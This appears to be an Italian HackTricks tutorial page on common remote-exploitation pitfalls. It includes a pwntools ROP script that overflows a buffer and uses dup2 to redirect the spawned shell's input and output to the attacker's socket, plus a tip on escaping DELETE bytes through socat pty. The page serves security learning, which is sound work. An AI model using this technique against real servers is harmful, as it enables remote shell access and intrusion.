3.8 KiB
Problemi Comuni di Sfruttamento
{% hint style="success" %}
Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
FDs nell'Exploitation Remota
Quando si invia un exploit a un server remoto che chiama system('/bin/sh')
per esempio, questo verrà eseguito nel processo del server, e /bin/sh
si aspetterà input da stdin (FD: 0
) e stamperà l'output in stdout e stderr (FDs 1
e 2
). Quindi l'attaccante non sarà in grado di interagire con la shell.
Un modo per risolvere questo è supporre che quando il server è stato avviato ha creato il FD numero 3
(per ascoltare) e che poi, la tua connessione sarà nel FD numero 4
. Pertanto, è possibile utilizzare la syscall dup2
per duplicare lo stdin (FD 0) e lo stdout (FD 1) nel FD 4 (quello della connessione dell'attaccante) in modo da rendere possibile contattare la shell una volta eseguita.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Nota che socat trasferisce già stdin
e stdout
al socket. Tuttavia, la modalità pty
include i caratteri DELETE. Quindi, se invii un \x7f
( DELETE
-) eliminerà il carattere precedente del tuo exploit.
Per bypassare questo, il carattere di escape \x16
deve essere preceduto a qualsiasi \x7f
inviato.
Qui puoi trovare un esempio di questo comportamento.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.